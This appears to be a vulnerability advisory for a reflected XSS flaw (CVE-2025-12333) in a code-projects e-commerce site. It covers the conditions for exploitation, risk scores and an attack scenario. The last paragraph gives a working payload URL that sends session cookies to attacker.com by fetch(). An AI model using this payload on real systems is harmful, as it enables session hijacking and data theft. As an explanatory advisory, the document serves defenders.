code-projects E-Commerce Website CVE-2025-12333

Successful exploitation requires three specific conditions: First, the /pages/supplier_add.php endpoint must be accessible to the attacker (either directly for reconnaissance or via social engineering). Second, the victim must be an authenticated user of the e-commerce application at the time they click the malicious link, ensuring the injected script executes within their authenticated session context. Third, the victim's browser must support JavaScript execution and not be protected by a browser-based XSS filter. No special server-side configuration is required; the vulnerability exists in the default deployment. Exploitation is limited by the reflected nature of the XSS (not stored), requiring the victim to actively visit the attacker-crafted URL, and by browser same-origin policy, which prevents the script from accessing data from other origins unless the application itself relaxes these restrictions via CORS headers.

This vulnerability presents low real-world risk despite public exploit availability. The CVSS 4.0 base score of 2.1 reflects the limitation imposed by required user interaction (UI:P) and limited integrity impact (VI:L), with no confidentiality or availability impact. The EPSS percentile of 11% (0.04% score) strongly indicates this is not a widespread exploitation target, consistent with the niche nature of the affected product. The attack vector is network-based (AV:N) with low complexity (AC:L), making the exploit technical trivial once a victim clicks a malicious link. However, the absence of an upstream vendor patch or security advisory, combined with the marginal nature of this e-commerce platform in the broader threat landscape, suggests defenders should prioritize patching only if this specific application is deployed in their environment. The public POC availability increases confidence in the technical feasibility of exploitation but does not imply active mass exploitation.

An attacker crafts a phishing email or posts a malicious link on a website frequented by e-commerce administrators, directing victims to a URL such as http://target.local/pages/supplier_add.php?supp_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. When an authenticated admin clicks the link, the JavaScript payload executes in their browser, exfiltrating session cookies to the attacker's server. The attacker then hijacks the admin session to modify supplier records, inject malware, or exfiltrate customer data. A public proof-of-concept demonstrating this attack is available on Figshare.